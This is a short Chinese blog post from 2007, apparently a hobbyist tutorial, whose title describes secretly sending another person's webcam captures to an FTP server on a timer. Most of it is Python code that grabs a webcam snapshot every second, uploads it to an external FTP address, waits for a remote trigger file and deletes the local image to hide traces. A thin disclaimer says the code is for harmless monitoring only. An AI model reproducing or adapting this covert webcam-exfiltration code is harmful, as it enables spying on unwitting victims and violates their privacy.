定时偷偷地把对方摄像头采集的数据传送到某ftp服务器
时间:2007-11-24 来源:yuanshl
早就听说有一种木马,能够控制肉鸡的摄像头,然后神不知鬼不觉地从摄像头获取图像.这种烂人做的事情是为我们不齿的.所以首先我要声明,我的代码仅供用于娱乐和对人民有益的监控场合,绝对不允许用于做出让人唾弃的可笑事情.
首先是截图,从摄像头截取一幅图像:
然后是把图像上传到ftp服务器:
当然了,最后把图片删除
下面是每隔一秒钟,把从摄像头采集的图片上传到本机ftp的程序:
首先是截图,从摄像头截取一幅图像:
while 1: #测试摄像头的存在 try: cam = Device() except: print "no webcam found!" continue break |
remote = ftplib.FTP('127.0.0.1') #登陆服务器 remote.login() file = open('%s.jpg'%cur_time,'rb') #用时间来命名图片 remote.storbinary('STOR %s.jpg'%cur_time,file) #上传图片 file.close() |
下面是每隔一秒钟,把从摄像头采集的图片上传到本机ftp的程序:
remote = ftplib.FTP('219.246.57.162') remote.login() while 1: try: remote.nlst("1.txt") except: print "not ready to start!" continue timex = time.localtime() cur_time = "%4d%02d%02d%02d%02d%02d"%(timex[0],timex[1],timex[2],timex[3],timex[4],timex[5]) cam.saveSnapshot('%s.jpg'%cur_time) #remote.dir() file = open('%s.jpg'%cur_time,'rb') remote.storbinary('STOR %s.jpg'%cur_time,file) file.close() os.system("del %s.jpg"%cur_time) #print "upload ok!" time.sleep(1) remote.quit() |
相关阅读 更多 +